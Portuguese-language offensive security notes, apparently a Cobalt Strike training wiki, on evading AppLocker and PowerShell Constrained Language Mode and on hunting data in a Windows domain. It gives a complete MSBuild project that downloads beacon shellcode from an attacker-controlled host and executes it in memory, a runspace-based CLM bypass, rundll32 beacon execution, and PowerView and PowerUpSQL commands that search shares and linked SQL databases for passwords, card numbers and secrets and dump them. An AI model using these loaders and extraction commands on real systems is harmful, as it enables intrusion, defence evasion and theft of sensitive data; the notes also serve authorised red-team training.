Permissões de Aplicativos

AppLocker

AppLocker é uma tecnologia de lista de permissões de aplicativos integrada ao sistema operacional Windows. Seu objetivo é restringir aplicativos e scripts que podem ser executados em uma máquina, definidos por meio de um conjunto de políticas enviadas via GPO. As regras podem ser baseadas em atributos de arquivo como editor, nome, versão, hash ou caminho; eles podem ser "permitir" ou negar"; e podem ser atribuídos a um usuário individual ou a um grupo. O AppLocker também alterará o modo de idioma do PowerShell de FullLanguage para ConstrainedLanguage. Isso restringe os tipos .NET que podem ser usados, evitando Add-Type com qualquer C# arbitrário, bem como New-Object em tipos que não são especificamente permitidos. Execute o comando abaixo para saber qual linguagem do Powershell está em uso no momento

$ExecutionContext.SessionState.LanguageMode

A política pode ser lida em dois locais: diretamente no GPO ou no registro local da máquina à qual está aplicada. A leitura do GPO é o mesmo processo do LAPS - encontre o GPO, baixe o arquivo Registry.pol do gpcfilesyspath e analise com Parse-PolFile.

powershell-import <C:\path\to\PowerSploit\Recon\PowerView.ps1>
powershell Get-DomainGPO -Domain <domain.local> | ? { $_.DisplayName -like "*AppLocker*" } | select displayname, gpcfilesyspath

Caso encontre algum resultado, baixe o leia o arquivo

# Jogue localmente para a máquina após executar o comando abaixo
download <gpcfilesyspath>\Machine\Registry.pol

# Lendo o arquivo (Windows fora do CS)
Parse-PolFile <C:\path\to\Registry.pol>

Se quisermos localizar um KeyName no registro, basta executar o regedit e depois procurar pela chave, por exemplo, Get-ChildItem "HKLM:Software\Policies\Microsoft\Windows\<valor>". Alguns desses campos são bem descritivos, analisando bem os valores de ValueData, podemos encontrar informaçõs úteis sobre o propósito de cada política. Um fato importante, é que as regras de DLL geralmente não são aplicadas. Isso porque, a Microsoft afirma que isso pode afetar o desempenho do sistema. Nesse cenário, iremos ver o ValueData definio como 0, quando temos o KeyName terminado com Dll.

LOLBAS (Living Off The Land)

Em resumo, é a utilização de próprios recursos do Windows para realizar bypass e termos acessos que não poderiam ser permitidos. Como exemplo, iremos utilizar o MSBuild para realizarmos bypass e montarmos um Beacon. Primeiro, crie um arquivo no host alvo chamado test.csproj (ou utilize o nome que preferir), com o seguinte conteúdo.

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="MSBuild">
   <MSBuildTest/>
  </Target>
   <UsingTask
    TaskName="MSBuildTest"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
     <Task>
      <Code Type="Class" Language="cs">
        <![CDATA[

            using System;
            using System.Net;
            using System.Runtime.InteropServices;
            using Microsoft.Build.Framework;
            using Microsoft.Build.Utilities;

            public class MSBuildTest :  Task, ITask
            {
                public override bool Execute()
                {
                    byte[] shellcode;
                    using (var client = new WebClient())
                    {
                        client.BaseAddress = "http://<ip>/";
                        shellcode = client.DownloadData("beacon.bin");
                    }
      
                    var hKernel = LoadLibrary("kernel32.dll");
                    var hVa = GetProcAddress(hKernel, "VirtualAlloc");
                    var hCt = GetProcAddress(hKernel, "CreateThread");

                    var va = Marshal.GetDelegateForFunctionPointer<AllocateVirtualMemory>(hVa);
                    var ct = Marshal.GetDelegateForFunctionPointer<CreateThread>(hCt);

                    var hMemory = va(IntPtr.Zero, (uint)shellcode.Length, 0x00001000 | 0x00002000, 0x40);
                    Marshal.Copy(shellcode, 0, hMemory, shellcode.Length);

                    var t = ct(IntPtr.Zero, 0, hMemory, IntPtr.Zero, 0, IntPtr.Zero);
                    WaitForSingleObject(t, 0xFFFFFFFF);

                    return true;
                }

            [DllImport("kernel32", CharSet = CharSet.Ansi)]
            private static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)]string lpFileName);
    
            [DllImport("kernel32", CharSet = CharSet.Ansi)]
            private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

            [DllImport("kernel32")]
            private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);

            [UnmanagedFunctionPointer(CallingConvention.StdCall)]
            private delegate IntPtr AllocateVirtualMemory(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
    
            [UnmanagedFunctionPointer(CallingConvention.StdCall)]
            private delegate IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

            }

        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>

No CS Client, vá no Menu Site Manager > Host File e configure o File para http_x64.xprocess.bin e Local URI defina como beacon.bin. Agora vá no host alvo e execute o comando abaixa para ter acesso ao Beacon.

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe <C:\path\test.csproj>

PowerShell CLM

Se você tentar executar um script ou comando no PowerShell e vir um erro como only core types in this language mode, saberá que está operando em um ambiente restrito. Se você encontrar um desvio do AppLocker para executar código arbitrário, também poderá sair do PowerShell Constrained Language Mode usando um runspace não gerenciado do PowerShell. Execute o comando abaixo para saber qual linguagem do Powershell está em uso no momento

$ExecutionContext.SessionState.LanguageMode

Powerpick

Utilizando o powerpick para ter a linguagem FullLanguage.

powerpick $ExecutionContext.SessionState.LanguageMode

MSBuild

Isso também pode ser feito em C# (usando o MSBuild como exemplo anterior). Crie um arquivo chama test2.csproj com o seguinte conteúdo:

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="MSBuild">
   <MSBuildTest/>
  </Target>
   <UsingTask
    TaskName="MSBuildTest"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
     <Task>
     <Reference Include="System.Management.Automation" />
      <Code Type="Class" Language="cs">
        <![CDATA[

            using System;
            using System.Linq;
            using System.Management.Automation;
            using System.Management.Automation.Runspaces;

            using Microsoft.Build.Framework;
            using Microsoft.Build.Utilities;

            public class MSBuildTest :  Task, ITask
            {
                public override bool Execute()
                {
                    using (var runspace = RunspaceFactory.CreateRunspace())
                    {
                      runspace.Open();

                      using (var posh = PowerShell.Create())
                      {
                        posh.Runspace = runspace;
                        posh.AddScript("$ExecutionContext.SessionState.LanguageMode");
                                                
                        var results = posh.Invoke();
                        var output = string.Join(Environment.NewLine, results.Select(r => r.ToString()).ToArray());
                        
                        Console.WriteLine(output);
                      }
                    }

                return true;
              }
            }

        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>

Agora execute:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe <C:\path\test2.csproj>

Beacon DLL

Conforme mencionado anteriormente, a imposição de DLL geralmente não é habilitada, o que nos permite chamar funções exportadas de DLLs no disco via rundll32. Faça upload do arquivo http_x64.dll para a máquina alvo e depois execute:

C:\Windows\System32\rundll32.exe <C:\path\to\http_x64.dll,StartW>

Data Hunting & Exifiltration

PowerView

Find-DomainShare do PowerView procura compartilhamentos de computador no Domínio. O parâmetro -CheckShareAccess mostra apenas os compartilhamentos aos quais o usuário atual tem acesso de leitura.

powershell-import <C:\path\to\PowerSploit\Recon\PowerView.ps1>
powershell Find-DomainShare -CheckShareAccess

Find-InterestingDomainShareFile vai um passo além e pesquisa cada compartilhamento, retornando resultados onde as strings especificadas aparecem no caminho

powershell Find-InterestingDomainShareFile -Include *.doc*, *.xls*, *.csv, *.ppt*, *.sql, *.txt

Caso ache algum arquivo que seja interessante, é possível lê-lo remotamente

powershell gc \\<host.subdomain.domain.local>\<dir$>\<file>

PowerUpSQL

PowerUpSQL fornece vários cmdlets projetados para pesquisa e extração de dados. Um desses cmdlets é Get-SQLColumnSampleDataThreaded, que pode pesquisar uma ou mais instâncias em busca de bancos de dados que contenham palavras-chave específicas nos nomes das colunas. Altere as palavras-chave de acordo com a cenário em que esteja atuando e é claro, utilize um usuário com os devidos privilégios.

powershell-import C:\Tools\PowerUpSQL\PowerUpSQL.ps1
powershell Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLColumnSampleDataThreaded -Keywords "senha,email,mail,pass,credit,secret,key,card" -SampleSize 5 | select instance, database, column, sample | ft -autosize

Até então, isso só pode pesquisar as instâncias às quais você tem acesso direto, pois ele não atravessará nenhum link SQL. Para pesquisar os links, precisamos utilizar o seguinte comando:

powershell Get-SQLQuery -Instance "<Instance-host-sql-2>" -Query "select * from openquery(""<host-sql-1.domain.local>"", 'select * from information_schema.tables')"

Na saída do comando acima, podemos ver o nome da(s) tabela(s), então agora podemos ver as coluna dessa(s) tabela(s).

powershell Get-SQLQuery -Instance "<Instance-host-sql-2>" -Query "select * from openquery(""<host-sql-1.domain.local>"", 'select column_name from master.information_schema.columns where table_name=''<tabela>''')"

E por último, vamos fazeer um dump dos dados dessa tabela.

powershell Get-SQLQuery -Instance "<Instance-host-sql-2>" -Query "select * from openquery(""<host-sql-1.domain.local>"", 'select <coluna_1,coluna_2,coluna_3,coluna_4> from master.dbo.<tabela>')"

Sites

# LOLBAS
https://lolbas-project.github.io/

Last updated